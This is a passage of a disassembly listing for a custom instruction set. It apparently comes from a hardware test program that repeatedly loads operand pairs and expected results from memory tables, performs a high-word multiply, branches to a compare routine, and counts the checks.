c4e4: 0d 60 01 03 wh16 r8,0x3
c4e8: 10 40 01 08 ld32 r8,r8
c4ec: 0d 44 02 18 wl16 r16,0x2018
c4f0: 0d 60 02 03 wh16 r16,0x3
c4f4: 10 40 02 10 ld32 r16,r16
c4f8: 0d 46 21 34 wl16 r9,0x3114
c4fc: 0d 60 01 23 wh16 r9,0x3
c500: 10 40 01 29 ld32 r9,r9
c504: 00 60 01 10 mulh r8,r16
c508: 20 70 03 e2 movepc rret,8
c50c: 14 30 ce c1 br 10 <compare>,#al
c510: 00 10 00 41 add r2,1
c514: 0d 41 e5 00 wl16 r8,0xf20
c518: 0d 60 01 03 wh16 r8,0x3
c51c: 10 40 01 08 ld32 r8,r8
c520: 0d 44 02 1c wl16 r16,0x201c
c524: 0d 60 02 03 wh16 r16,0x3
c528: 10 40 02 10 ld32 r16,r16
c52c: 0d 46 21 38 wl16 r9,0x3118
c530: 0d 60 01 23 wh16 r9,0x3
c534: 10 40 01 29 ld32 r9,r9
c538: 00 60 01 10 mulh r8,r16
c53c: 20 70 03 e2 movepc rret,8
c540: 14 30 ce b4 br 10 <compare>,#al
c544: 00 10 00 41 add r2,1
c548: 0d 41 e5 04 wl16 r8,0xf24
c54c: 0d 60 01 03 wh16 r8,0x3
c550: 10 40 01 08 ld32 r8,r8
c554: 0d 44 06 00 wl16 r16,0x2020
c558: 0d 60 02 03 wh16 r16,0x3
c55c: 10 40 02 10 ld32 r16,r16
c560: 0d 46 21 3c wl16 r9,0x311c
c564: 0d 60 01 23 wh16 r9,0x3
c568: 10 40 01 29 ld32 r9,r9
c56c: 00 60 01 10 mulh r8,r16
c570: 20 70 03 e2 movepc rret,8
c574: 14 30 ce a7 br 10 <compare>,#al
c578: 00 10 00 41 add r2,1
c57c: 0d 41 e5 08 wl16 r8,0xf28
c580: 0d 60 01 03 wh16 r8,0x3
c584: 10 40 01 08 ld32 r8,r8
c588: 0d 44 06 04 wl16 r16,0x2024
c58c: 0d 60 02 03 wh16 r16,0x3
c590: 10 40 02 10 ld32 r16,r16
c594: 0d 46 25 20 wl16 r9,0x3120
c598: 0d 60 01 23 wh16 r9,0x3
c59c: 10 40 01 29 ld32 r9,r9
c5a0: 00 60 01 10 mulh r8,r16
c5a4: 20 70 03 e2 movepc rret,8
c5a8: 14 30 ce 9a br 10 <compare>,#al
c5ac: 00 10 00 41 add r2,1
c5b0: 0d 41 e5 0c wl16 r8,0xf2c
c5b4: 0d 60 01 03 wh16 r8,0x3
c5b8: 10 40 01 08 ld32 r8,r8
c5bc: 0d 44 06 08 wl16 r16,0x2028
c5c0: 0d 60 02 03 wh16 r16,0x3
c5c4: 10 40 02 10 ld32 r16,r16
c5c8: 0d 46 25 24 wl16 r9,0x3124
c5cc: 0d 60 01 23 wh16 r9,0x3
c5d0: 10 40 01 29 ld32 r9,r9
c5d4: 00 60 01 10 mulh r8,r16
c5d8: 20 70 03 e2 movepc rret,8
c5dc: 14 30 ce 8d br 10 <compare>,#al
c5e0: 00 10 00 41 add r2,1
c5e4: 0d 41 e5 10 wl16 r8,0xf30
c5e8: 0d 60 01 03 wh16 r8,0x3
c5ec: 10 40 01 08 ld32 r8,r8
c5f0: 0d 44 06 0c wl16 r16,0x202c
c5f4: 0d 60 02 03 wh16 r16,0x3
c5f8: 10 40 02 10 ld32 r16,r16
c5fc: 0d 46 25 28 wl16 r9,0x3128
c600: 0d 60 01 23 wh16 r9,0x3
c604: 10 40 01 29 ld32 r9,r9
c608: 00 60 01 10 mulh r8,r16
c60c: 20 70 03 e2 movepc rret,8
c610: 14 30 ce 80 br 10 <compare>,#al
c614: 00 10 00 41 add r2,1
c618: 0d 41 e5 14 wl16 r8,0xf34
c61c: 0d 60 01 03 wh16 r8,0x3
c620: 10 40 01 08 ld32 r8,r8
c624: 0d 44 06 10 wl16 r16,0x2030
c628: 0d 60 02 03 wh16 r16,0x3
c62c: 10 40 02 10 ld32 r16,r16
c630: 0d 46 25 2c wl16 r9,0x312c
c634: 0d 60 01 23 wh16 r9,0x3
c638: 10 40 01 29 ld32 r9,r9
c63c: 00 60 01 10 mulh r8,r16
c640: 20 70 03 e2 movepc rret,8
c644: 14 30 ce 73 br 10 <compare>,#al
c648: 00 10 00 41 add r2,1
c64c: 0d 41 e5 18 wl16 r8,0xf38
c650: 0d 60 01 03 wh16 r8,0x3
c654: 10 40 01 08 ld32 r8,r8
c658: 0d 44 06 14 wl16 r16,0x2034
c65c: 0d 60 02 03 wh16 r16,0x3
c660: 10 40 02 10 ld32 r16,r16
c664: 0d 46 25 30 wl16 r9,0x3130
c668: 0d 60 01 23 wh16 r9,0x3
c66c: 10 40 01 29 ld32 r9,r9
c670: 00 60 01 10 mulh r8,r16
c674: 20 70 03 e2 movepc rret,8
c678: 14 30 ce 66 br 10 <compare>,#al
c67c: 00 10 00 41 add r2,1
c680: 0d 41 e5 1c wl16 r8,0xf3c
c684: 0d 60 01 03 wh16 r8,0x3
c688: 10 40 01 08 ld32 r8,r8
c68c: 0d 44 06 18 wl16 r16,0x2038
c690: 0d 60 02 03 wh16 r16,0x3
c694: 10 40 02 10 ld32 r16,r16
c698: 0d 46 25 34 wl16 r9,0x3134
c69c: 0d 60 01 23 wh16 r9,0x3
c6a0: 10 40 01 29 ld32 r9,r9
c6a4: 00 60 01 10 mulh r8,r16
c6a8: 20 70 03 e2 movepc rret,8
c6ac: 14 30 ce 59 br 10 <compare>,#al
c6b0: 00 10 00 41 add r2,1
c6b4: 0d 41 e9 00 wl16 r8,0xf40
c6b8: 0d 60 01 03 wh16 r8,0x3
c6bc: 10 40 01 08 ld32 r8,r8
c6c0: 0d 44 06 1c wl16 r16,0x203c
c6c4: 0d 60 02 03 wh16 r16,0x3
c6c8: 10 40 02 10 ld32 r16,r16
c6cc: 0d 46 25 38 wl16 r9,0x3138
c6d0: 0d 60 01 23 wh16 r9,0x3
c6d4: 10 40 01 29 ld32 r9,r9
c6d8: 00 60 01 10 mulh r8,r16
c6dc: 20 70 03 e2 movepc rret,8
c6e0: 14 30 ce 4c br 10 <compare>,#al
c6e4: 00 10 00 41 add r2,1
c6e8: 0d 41 e9 04 wl16 r8,0xf44
c6ec: 0d 60 01 03 wh16 r8,0x3
c6f0: 10 40 01 08 ld32 r8,r8
c6f4: 0d 44 0a 00 wl16 r16,0x2040
c6f8: 0d 60 02 03 wh16 r16,0x3
c6fc: 10 40 02 10 ld32 r16,r16
c700: 0d 46 25 3c wl16 r9,0x313c
c704: 0d 60 01 23 wh16 r9,0x3
c708: 10 40 01 29 ld32 r9,r9
c70c: 00 60 01 10 mulh r8,r16
c710: 20 70 03 e2 movepc rret,8
c714: 14 30 ce 3f br 10 <compare>,#al
c718: 00 10 00 41 add r2,1
c71c: 0d 41 e9 08 wl16 r8,0xf48
c720: 0d 60 01 03 wh16 r8,0x3
c724: 10 40 01 08 ld32 r8,r8
c728: 0d 44 0a 04 wl16 r16,0x2044
c72c: 0d 60 02 03 wh16 r16,0x3
c730: 10 40 02 10 ld32 r16,r16
c734: 0d 46 29 20 wl16 r9,0x3140
c738: 0d 60 01 23 wh16 r9,0x3
c73c: 10 40 01 29 ld32 r9,r9
c740: 00 60 01 10 mulh r8,r16
c744: 20 70 03 e2 movepc rret,8
c748: 14 30 ce 32 br 10 <compare>,#al
c74c: 00 10 00 41 add r2,1
c750: 0d 41 e9 0c wl16 r8,0xf4c
c754: 0d 60 01 03 wh16 r8,0x3
c758: 10 40 01 08 ld32 r8,r8
c75c: 0d 44 0a 08 wl16 r16,0x2048
c760: 0d 60 02 03 wh16 r16,0x3
c764: 10 40 02 10 ld32 r16,r16
c768: 0d 46 29 24 wl16 r9,0x3144
c76c: 0d 60 01 23 wh16 r9,0x3
c770: 10 40 01 29 ld32 r9,r9
c774: 00 60 01 10 mulh r8,r16
c778: 20 70 03 e2 movepc rret,8
c77c: 14 30 ce 25 br 10 <compare>,#al
c780: 00 10 00 41 add r2,1
c784: 0d 41 e9 10 wl16 r8,0xf50
c788: 0d 60 01 03 wh16 r8,0x3
c78c: 10 40 01 08 ld32 r8,r8
c790: 0d 44 0a 0c wl16 r16,0x204c
c794: 0d 60 02 03 wh16 r16,0x3
c798: 10 40 02 10 ld32 r16,r16
c79c: 0d 46 29 28 wl16 r9,0x3148
c7a0: 0d 60 01 23 wh16 r9,0x3
c7a4: 10 40 01 29 ld32 r9,r9
c7a8: 00 60 01 10 mulh r8,r16
c7ac: 20 70 03 e2 movepc rret,8
c7b0: 14 30 ce 18 br 10 <compare>,#al
c7b4: 00 10 00 41 add r2,1
c7b8: 0d 41 e9 14 wl16 r8,0xf54
c7bc: 0d 60 01 03 wh16 r8,0x3
c7c0: 10 40 01 08 ld32 r8,r8
c7c4: 0d 44 0a 10 wl16 r16,0x2050
c7c8: 0d 60 02 03 wh16 r16,0x3
c7cc: 10 40 02 10 ld32 r16,r16
c7d0: 0d 46 29 2c wl16 r9,0x314c
c7d4: 0d 60 01 23 wh16 r9,0x3
c7d8: 10 40 01 29 ld32 r9,r9
c7dc: 00 60 01 10 mulh r8,r16
c7e0: 20 70 03 e2 movepc rret,8
c7e4: 14 30 ce 0b br 10 <compare>,#al
c7e8: 00 10 00 41 add r2,1
c7ec: 0d 41 e9 18 wl16 r8,0xf58
c7f0: 0d 60 01 03 wh16 r8,0x3
c7f4: 10 40 01 08 ld32 r8,r8
c7f8: 0d 44 0a 14 wl16 r16,0x2054
c7fc: 0d 60 02 03 wh16 r16,0x3
c800: 10 40 02 10 ld32 r16,r16
c804: 0d 46 29 30 wl16 r9,0x3150
c808: 0d 60 01 23 wh16 r9,0x3
c80c: 10 40 01 29 ld32 r9,r9
c810: 00 60 01 10 mulh r8,r16
c814: 20 70 03 e2 movepc rret,8
c818: 14 30 cd fe br 10 <compare>,#al
c81c: 00 10 00 41 add r2,1
c820: 0d 41 e9 1c wl16 r8,0xf5c
c824: 0d 60 01 03 wh16 r8,0x3
c828: 10 40 01 08 ld32 r8,r8
c82c: 0d 44 0a 18 wl16 r16,0x2058
c830: 0d 60 02 03 wh16 r16,0x3
c834: 10 40 02 10 ld32 r16,r16
c838: 0d 46 29 34 wl16 r9,0x3154
c83c: 0d 60 01 23 wh16 r9,0x3
c840: 10 40 01 29 ld32 r9,r9
c844: 00 60 01 10 mulh r8,r16
c848: 20 70 03 e2 movepc rret,8
c84c: 14 30 cd f1 br 10 <compare>,#al
c850: 00 10 00 41 add r2,1
c854: 0d 41 ed 00 wl16 r8,0xf60
c858: 0d 60 01 03 wh16 r8,0x3
c85c: 10 40 01 08 ld32 r8,r8
c860: 0d 44 0a 1c wl16 r16,0x205c
c864: 0d 60 02 03 wh16 r16,0x3
c868: 10 40 02 10 ld32 r16,r16
c86c: 0d 46 29 38 wl16 r9,0x3158
c870: 0d 60 01 23 wh16 r9,0x3
c874: 10 40 01 29 ld32 r9,r9
c878: 00 60 01 10 mulh r8,r16
c87c: 20 70 03 e2 movepc rret,8
c880: 14 30 cd e4 br 10 <compare>,#al
c884: 00 10 00 41 add r2,1
c888: 0d 41 ed 04 wl16 r8,0xf64
c88c: 0d 60 01 03 wh16 r8,0x3
c890: 10 40 01 08 ld32 r8,r8
c894: 0d 44 0e 00 wl16 r16,0x2060
c898: 0d 60 02 03 wh16 r16,0x3
c89c: 10 40 02 10 ld32 r16,r16
c8a0: 0d 46 29 3c wl16 r9,0x315c
c8a4: 0d 60 01 23 wh16 r9,0x3
c8a8: 10 40 01 29 ld32 r9,r9
c8ac: 00 60 01 10 mulh r8,r16
c8b0: 20 70 03 e2 movepc rret,8
c8b4: 14 30 cd d7 br 10 <compare>,#al
c8b8: 00 10 00 41 add r2,1
c8bc: 0d 41 ed 08 wl16 r8,0xf68
c8c0: 0d 60 01 03 wh16 r8,0x3
c8c4: 10 40 01 08 ld32 r8,r8
c8c8: 0d 44 0e 04 wl16 r16,0x2064
c8cc: 0d 60 02 03 wh16 r16,0x3
c8d0: 10 40 02 10 ld32 r16,r16
c8d4: 0d 46 2d 20 wl16 r9,0x3160
c8d8: 0d 60 01 23 wh16 r9,0x3
c8dc: 10 40 01 29 ld32 r9,r9
c8e0: 00 60 01 10 mulh r8,r16
c8e4: 20 70 03 e2 movepc rret,8
c8e8: 14 30 cd ca br 10 <compare>,#al
c8ec: 00 10 00 41 add r2,1
c8f0: 0d 41 ed 0c wl16 r8,0xf6c
c8f4: 0d 60 01 03 wh16 r8,0x3
c8f8: 10 40 01 08 ld32 r8,r8
c8fc: 0d 44 0e 08 wl16 r16,0x2068
c900: 0d 60 02 03 wh16 r16,0x3
c904: 10 40 02 10 ld32 r16,r16
c908: 0d 46 2d 24 wl16 r9,0x3164
c90c: 0d 60 01 23 wh16 r9,0x3
c910: 10 40 01 29 ld32 r9,r9
c914: 00 60 01 10 mulh r8,r16
c918: 20 70 03 e2 movepc rret,8
c91c: 14 30 cd bd br 10 <compare>,#al
c920: 00 10 00 41 add r2,1
c924: 0d 41 ed 10 wl16 r8,0xf70
c928: 0d 60 01 03 wh16 r8,0x3
c92c: 10 40 01 08 ld32 r8,r8
c930: 0d 44 0e 0c wl16 r16,0x206c
c934: 0d 60 02 03 wh16 r16,0x3
c938: 10 40 02 10 ld32 r16,r16
c93c: 0d 46 2d 28 wl16 r9,0x3168
c940: 0d 60 01 23 wh16 r9,0x3
c944: 10 40 01 29 ld32 r9,r9
c948: 00 60 01 10 mulh r8,r16
c94c: 20 70 03 e2 movepc rret,8
c950: 14 30 cd b0 br 10 <compare>,#al
c954: 00 10 00 41 add r2,1
c958: 0d 41 ed 14 wl16 r8,0xf74
c95c: 0d 60 01 03 wh16 r8,0x3
c960: 10 40 01 08 ld32 r8,r8
c964: 0d 44 0e 10 wl16 r16,0x2070
c968: 0d 60 02 03 wh16 r16,0x3
c96c: 10 40 02 10 ld32 r16,r16
c970: 0d 46 2d 2c wl16 r9,0x316c
c974: 0d 60 01 23 wh16 r9,0x3
c978: 10 40 01 29 ld32 r9,r9
c97c: 00 60 01 10 mulh r8,r16
c980: 20 70 03 e2 movepc rret,8
c984: 14 30 cd a3 br 10 <compare>,#al
c988: 00 10 00 41 add r2,1
c98c: 0d 41 ed 18 wl16 r8,0xf78
c990: 0d 60 01 03 wh16 r8,0x3
c994: 10 40 01 08 ld32 r8,r8
c998: 0d 44 0e 14 wl16 r16,0x2074
c99c: 0d 60 02 03 wh16 r16,0x3
c9a0: 10 40 02 10 ld32 r16,r16
c9a4: 0d 46 2d 30 wl16 r9,0x3170
c9a8: 0d 60 01 23 wh16 r9,0x3
c9ac: 10 40 01 29 ld32 r9,r9
c9b0: 00 60 01 10 mulh r8,r16
c9b4: 20 70 03 e2 movepc rret,8
c9b8: 14 30 cd 96 br 10 <compare>,#al
c9bc: 00 10 00 41 add r2,1
c9c0: 0d 41 ed 1c wl16 r8,0xf7c
c9c4: 0d 60 01 03 wh16 r8,0x3
c9c8: 10 40 01 08 ld32 r8,r8
c9cc: 0d 44 0e 18 wl16 r16,0x2078
c9d0: 0d 60 02 03 wh16 r16,0x3
c9d4: 10 40 02 10 ld32 r16,r16
c9d8: 0d 46 2d 34 wl16 r9,0x3174
c9dc: 0d 60 01 23 wh16 r9,0x3
c9e0: 10 40 01 29 ld32 r9,r9
c9e4: 00 60 01 10 mulh r8,r16
c9e8: 20 70 03 e2 movepc rret,8
c9ec: 14 30 cd 89 br 10 <compare>,#al
c9f0: 00 10 00 41 add r2,1
c9f4: 0d 41 f1 00 wl16 r8,0xf80
c9f8: 0d 60 01 03 wh16 r8,0x3
c9fc: 10 40 01 08 ld32 r8,r8
ca00: 0d 44 0e 1c wl16 r16,0x207c
ca04: 0d 60 02 03 wh16 r16,0x3
ca08: 10 40 02 10 ld32 r16,r16
ca0c: 0d 46 2d 38 wl16 r9,0x3178
ca10: 0d 60 01 23 wh16 r9,0x3
ca14: 10 40 01 29 ld32 r9,r9
ca18: 00 60 01 10 mulh r8,r16
ca1c: 20 70 03 e2 movepc rret,8
ca20: 14 30 cd 7c br 10 <compare>,#al
ca24: 00 10 00 41 add r2,1
ca28: 0d 41 f1 04 wl16 r8,0xf84
ca2c: 0d 60 01 03 wh16 r8,0x3
ca30: 10 40 01 08 ld32 r8,r8
ca34: 0d 44 12 00 wl16 r16,0x2080
ca38: 0d 60 02 03 wh16 r16,0x3
ca3c: 10 40 02 10 ld32 r16,r16
ca40: 0d 46 2d 3c wl16 r9,0x317c
ca44: 0d 60 01 23 wh16 r9,0x3
ca48: 10 40 01 29 ld32 r9,r9
ca4c: 00 60 01 10 mulh r8,r16
ca50: 20 70 03 e2 movepc rret,8
ca54: 14 30 cd 6f br 10 <compare>,#al
ca58: 00 10 00 41 add r2,1
ca5c: 0d 41 f1 08 wl16 r8,0xf88
ca60: 0d 60 01 03 wh16 r8,0x3
ca64: 10 40 01 08 ld32 r8,r8
ca68: 0d 44 12 04 wl16 r16,0x2084
ca6c: 0d 60 02 03 wh16 r16,0x3
ca70: 10 40 02 10 ld32 r16,r16
ca74: 0d 46 31 20 wl16 r9,0x3180
ca78: 0d 60 01 23 wh16 r9,0x3
ca7c: 10 40 01 29 ld32 r9,r9
ca80: 00 60 01 10 mulh r8,r16
ca84: 20 70 03 e2 movepc rret,8
ca88: 14 30 cd 62 br 10 <compare>,#al
ca8c: 00 10 00 41 add r2,1
ca90: 0d 41 f1 0c wl16 r8,0xf8c
ca94: 0d 60 01 03 wh16 r8,0x3
ca98: 10 40 01 08 ld32 r8,r8
ca9c: 0d 44 12 08 wl16 r16,0x2088
caa0: 0d 60 02 03 wh16 r16,0x3
caa4: 10 40 02 10 ld32 r16,r16
caa8: 0d 46 31 24 wl16 r9,0x3184
caac: 0d 60 01 23 wh16 r9,0x3
cab0: 10 40 01 29 ld32 r9,r9
cab4: 00 60 01 10 mulh r8,r16
cab8: 20 70 03 e2 movepc rret,8
cabc: 14 30 cd 55 br 10 <compare>,#al
cac0: 00 10 00 41 add r2,1
cac4: 0d 41 f1 10 wl16 r8,0xf90
cac8: 0d 60 01 03 wh16 r8,0x3
cacc: 10 40 01 08 ld32 r8,r8
cad0: 0d 44 12 0c wl16 r16,0x208c
cad4: 0d 60 02 03 wh16 r16,0x3
cad8: 10 40 02 10 ld32 r16,r16
cadc: 0d 46 31 28 wl16 r9,0x3188
cae0: 0d 60 01 23 wh16 r9,0x3
cae4: 10 40 01 29 ld32 r9,r9
cae8: 00 60 01 10 mulh r8,r16
caec: 20 70 03 e2 movepc rret,8
caf0: 14 30 cd 48 br 10 <compare>,#al
caf4: 00 10 00 41 add r2,1
caf8: 0d 41 f1 14 wl16 r8,0xf94
cafc: 0d 60 01 03 wh16 r8,0x3
cb00: 10 40 01 08 ld32 r8,r8
cb04: 0d 44 12 10 wl16 r16,0x2090
cb08: 0d 60 02 03 wh16 r16,0x3
cb0c: 10 40 02 10 ld32 r16,r16
cb10: 0d 46 31 2c wl16 r9,0x318c
cb14: 0d 60 01 23 wh16 r9,0x3
cb18: 10 40 01 29 ld32 r9,r9
cb1c: 00 60 01 10 mulh r8,r16
cb20: 20 70 03 e2 movepc rret,8
cb24: 14 30 cd 3b br 10 <compare>,#al
cb28: 00 10 00 41 add r2,1
cb2c: 0d 41 f1 18 wl16 r8,0xf98
cb30: 0d 60 01 03 wh16 r8,0x3
cb34: 10 40 01 08 ld32 r8,r8
cb38: 0d 44 12 14 wl16 r16,0x2094
cb3c: 0d 60 02 03 wh16 r16,0x3
cb40: 10 40 02 10 ld32 r16,r16
cb44: 0d 46 31 30 wl16 r9,0x3190
cb48: 0d 60 01 23 wh16 r9,0x3
cb4c: 10 40 01 29 ld32 r9,r9
cb50: 00 60 01 10 mulh r8,r16
cb54: 20 70 03 e2 movepc rret,8
cb58: 14 30 cd 2e br 10 <compare>,#al
cb5c: 00 10 00 41 add r2,1
cb60: 0d 41 f1 1c wl16 r8,0xf9c
cb64: 0d 60 01 03 wh16 r8,0x3
cb68: 10 40 01 08 ld32 r8,r8
cb6c: 0d 44 12 18 wl16 r16,0x2098
cb70: 0d 60 02 03 wh16 r16,0x3
cb74: 10 40 02 10 ld32 r16,r16
cb78: 0d 46 31 34 wl16 r9,0x3194
cb7c: 0d 60 01 23 wh16 r9,0x3
cb80: 10 40 01 29 ld32 r9,r9
cb84: 00 60 01 10 mulh r8,r16
cb88: 20 70 03 e2 movepc rret,8
cb8c: 14 30 cd 21 br 10 <compare>,#al
cb90: 00 10 00 41 add r2,1
cb94: 0d 41 f5 00 wl16 r8,0xfa0
cb98: 0d 60 01 03 wh16 r8,0x3
cb9c: 10 40 01 08 ld32 r8,r8
cba0: 0d 44 12 1c wl16 r16,0x209c
cba4: 0d 60 02 03 wh16 r16,0x3
cba8: 10 40 02 10 ld32 r16,r16
cbac: 0d 46 31 38 wl16 r9,0x3198
cbb0: 0d 60 01 23 wh16 r9,0x3
cbb4: 10 40 01 29 ld32 r9,r9
cbb8: 00 60 01 10 mulh r8,r16
cbbc: 20 70 03 e2 movepc rret,8
cbc0: 14 30 cd 14 br 10 <compare>,#al
cbc4: 00 10 00 41 add r2,1
cbc8: 0d 41 f5 04 wl16 r8,0xfa4
cbcc: 0d 60 01 03 wh16 r8,0x3
cbd0: 10 40 01 08 ld32 r8,r8
cbd4: 0d 44 16 00 wl16 r16,0x20a0
cbd8: 0d 60 02 03 wh16 r16,0x3
cbdc: 10 40 02 10 ld32 r16,r16
cbe0: 0d 46 31 3c wl16 r9,0x319c
cbe4: 0d 60 01 23 wh16 r9,0x3
cbe8: 10 40 01 29 ld32 r9,r9
cbec: 00 60 01 10 mulh r8,r16
cbf0: 20 70 03 e2 movepc rret,8
cbf4: 14 30 cd 07 br 10 <compare>,#al
cbf8: 00 10 00 41 add r2,1
cbfc: 0d 41 f5 08 wl16 r8,0xfa8
cc00: 0d 60 01 03 wh16 r8,0x3
cc04: 10 40 01 08 ld32 r8,r8
cc08: 0d 44 16 04 wl16 r16,0x20a4
cc0c: 0d 60 02 03 wh16 r16,0x3
cc10: 10 40 02 10 ld32 r16,r16
cc14: 0d 46 35 20 wl16 r9,0x31a0
cc18: 0d 60 01 23 wh16 r9,0x3
cc1c: 10 40 01 29 ld32 r9,r9
cc20: 00 60 01 10 mulh r8,r16
cc24: 20 70 03 e2 movepc rret,8
cc28: 14 30 cc fa br 10 <compare>,#al
cc2c: 00 10 00 41 add r2,1
cc30: 0d 41 f5 0c wl16 r8,0xfac
cc34: 0d 60 01 03 wh16 r8,0x3
cc38: 10 40 01 08 ld32 r8,r8
cc3c: 0d 44 16 08 wl16 r16,0x20a8
cc40: 0d 60 02 03 wh16 r16,0x3
cc44: 10 40 02 10 ld32 r16,r16
cc48: 0d 46 35 24 wl16 r9,0x31a4
cc4c: 0d 60 01 23 wh16 r9,0x3
cc50: 10 40 01 29 ld32 r9,r9
cc54: 00 60 01 10 mulh r8,r16
cc58: 20 70 03 e2 movepc rret,8
cc5c: 14 30 cc ed br 10 <compare>,#al
cc60: 00 10 00 41 add r2,1
cc64: 0d 41 f5 10 wl16 r8,0xfb0
cc68: 0d 60 01 03 wh16 r8,0x3
cc6c: 10 40 01 08 ld32 r8,r8
cc70: 0d 44 16 0c wl16 r16,0x20ac
cc74: 0d 60 02 03 wh16 r16,0x3
cc78: 10 40 02 10 ld32 r16,r16
cc7c: 0d 46 35 28 wl16 r9,0x31a8
cc80: 0d 60 01 23 wh16 r9,0x3
cc84: 10 40 01 29 ld32 r9,r9
cc88: 00 60 01 10 mulh r8,r16
cc8c: 20 70 03 e2 movepc rret,8
cc90: 14 30 cc e0 br 10 <compare>,#al
cc94: 00 10 00 41 add r2,1
cc98: 0d 41 f5 14 wl16 r8,0xfb4
cc9c: 0d 60 01 03 wh16 r8,0x3
cca0: 10 40 01 08 ld32 r8,r8
cca4: 0d 44 16 10 wl16 r16,0x20b0
cca8: 0d 60 02 03 wh16 r16,0x3
ccac: 10 40 02 10 ld32 r16,r16
ccb0: 0d 46 35 2c wl16 r9,0x31ac
ccb4: 0d 60 01 23 wh16 r9,0x3
ccb8: 10 40 01 29 ld32 r9,r9
ccbc: 00 60 01 10 mulh r8,r16
ccc0: 20 70 03 e2 movepc rret,8
ccc4: 14 30 cc d3 br 10 <compare>,#al
ccc8: 00 10 00 41 add r2,1
cccc: 0d 41 f5 18 wl16 r8,0xfb8
ccd0: 0d 60 01 03 wh16 r8,0x3
ccd4: 10 40 01 08 ld32 r8,r8
ccd8: 0d 44 16 14 wl16 r16,0x20b4
ccdc: 0d 60 02 03 wh16 r16,0x3
cce0: 10 40 02 10 ld32 r16,r16
cce4: 0d 46 35 30 wl16 r9,0x31b0
cce8: 0d 60 01 23 wh16 r9,0x3
ccec: 10 40 01 29 ld32 r9,r9
ccf0: 00 60 01 10 mulh r8,r16
ccf4: 20 70 03 e2 movepc rret,8
ccf8: 14 30 cc c6 br 10 <compare>,#al
ccfc: 00 10 00 41 add r2,1
cd00: 0d 41 f5 1c wl16 r8,0xfbc
cd04: 0d 60 01 03 wh16 r8,0x3
cd08: 10 40 01 08 ld32 r8,r8
cd0c: 0d 44 16 18 wl16 r16,0x20b8
cd10: 0d 60 02 03 wh16 r16,0x3
cd14: 10 40 02 10 ld32 r16,r16
cd18: 0d 46 35 34 wl16 r9,0x31b4
cd1c: 0d 60 01 23 wh16 r9,0x3
cd20: 10 40 01 29 ld32 r9,r9
cd24: 00 60 01 10 mulh r8,r16
cd28: 20 70 03 e2 movepc rret,8
cd2c: 14 30 cc b9 br 10 <compare>,#al
cd30: 00 10 00 41 add r2,1
cd34: 0d 41 f9 00 wl16 r8,0xfc0
cd38: 0d 60 01 03 wh16 r8,0x3
cd3c: 10 40 01 08 ld32 r8,r8
cd40: 0d 44 16 1c wl16 r16,0x20bc
cd44: 0d 60 02 03 wh16 r16,0x3
cd48: 10 40 02 10 ld32 r16,r16
cd4c: 0d 46 35 38 wl16 r9,0x31b8
cd50: 0d 60 01 23 wh16 r9,0x3
cd54: 10 40 01 29 ld32 r9,r9
cd58: 00 60 01 10 mulh r8,r16
cd5c: 20 70 03 e2 movepc rret,8
cd60: 14 30 cc ac br 10 <compare>,#al
cd64: 00 10 00 41 add r2,1
cd68: 0d 41 f9 04 wl16 r8,0xfc4
cd6c: 0d 60 01 03 wh16 r8,0x3
cd70: 10 40 01 08 ld32 r8,r8
cd74: 0d 44 1a 00 wl16 r16,0x20c0
cd78: 0d 60 02 03 wh16 r16,0x3
cd7c: 10 40 02 10 ld32 r16,r16
cd80: 0d 46 35 3c wl16 r9,0x31bc
cd84: 0d 60 01 23 wh16 r9,0x3
cd88: 10 40 01 29 ld32 r9,r9
cd8c: 00 60 01 10 mulh r8,r16
cd90: 20 70 03 e2 movepc rret,8
cd94: 14 30 cc 9f br 10 <compare>,#al
cd98: 00 10 00 41 add r2,1
cd9c: 0d 41 f9 08 wl16 r8,0xfc8
cda0: 0d 60 01 03 wh16 r8,0x3
cda4: 10 40 01 08 ld32 r8,r8
cda8: 0d 44 1a 04 wl16 r16,0x20c4
cdac: 0d 60 02 03 wh16 r16,0x3
cdb0: 10 40 02 10 ld32 r16,r16
cdb4: 0d 46 39 20 wl16 r9,0x31c0
cdb8: 0d 60 01 23 wh16 r9,0x3
cdbc: 10 40 01 29 ld32 r9,r9
cdc0: 00 60 01 10 mulh r8,r16
cdc4: 20 70 03 e2 movepc rret,8
cdc8: 14 30 cc 92 br 10 <compare>,#al
cdcc: 00 10 00 41 add r2,1
cdd0: 0d 41 f9 0c wl16 r8,0xfcc
cdd4: 0d 60 01 03 wh16 r8,0x3
cdd8: 10 40 01 08 ld32 r8,r8
cddc: 0d 44 1a 08 wl16 r16,0x20c8
cde0: 0d 60 02 03 wh16 r16,0x3
cde4: 10 40 02 10 ld32 r16,r16
cde8: 0d 46 39 24 wl16 r9,0x31c4
cdec: 0d 60 01 23 wh16 r9,0x3
cdf0: 10 40 01 29 ld32 r9,r9
cdf4: 00 60 01 10 mulh r8,r16
cdf8: 20 70 03 e2 movepc rret,8
cdfc: 14 30 cc 85 br 10 <compare>,#al
ce00: 00 10 00 41 add r2,1
ce04: 0d 41 f9 10 wl16 r8,0xfd0
ce08: 0d 60 01 03 wh16 r8,0x3
ce0c: 10 40 01 08 ld32 r8,r8
ce10: 0d 44 1a 0c wl16 r16,0x20cc
ce14: 0d 60 02 03 wh16 r16,0x3
ce18: 10 40 02 10 ld32 r16,r16
ce1c: 0d 46 39 28 wl16 r9,0x31c8
ce20: 0d 60 01 23 wh16 r9,0x3
ce24: 10 40 01 29 ld32 r9,r9
ce28: 00 60 01 10 mulh r8,r16
ce2c: 20 70 03 e2 movepc rret,8
ce30: 14 30 cc 78 br 10 <compare>,#al
ce34: 00 10 00 41 add r2,1
ce38: 0d 41 f9 14 wl16 r8,0xfd4
ce3c: 0d 60 01 03 wh16 r8,0x3
ce40: 10 40 01 08 ld32 r8,r8
ce44: 0d 44 1a 10 wl16 r16,0x20d0
ce48: 0d 60 02 03 wh16 r16,0x3
ce4c: 10 40 02 10 ld32 r16,r16
ce50: 0d 46 39 2c wl16 r9,0x31cc
ce54: 0d 60 01 23 wh16 r9,0x3
ce58: 10 40 01 29 ld32 r9,r9
ce5c: 00 60 01 10 mulh r8,r16
ce60: 20 70 03 e2 movepc rret,8
ce64: 14 30 cc 6b br 10 <compare>,#al
ce68: 00 10 00 41 add r2,1
ce6c: 0d 41 f9 18 wl16 r8,0xfd8
ce70: 0d 60 01 03 wh16 r8,0x3
ce74: 10 40 01 08 ld32 r8,r8
ce78: 0d 44 1a 14 wl16 r16,0x20d4
ce7c: 0d 60 02 03 wh16 r16,0x3
ce80: 10 40 02 10 ld32 r16,r16
ce84: 0d 46 39 30 wl16 r9,0x31d0
ce88: 0d 60 01 23 wh16 r9,0x3
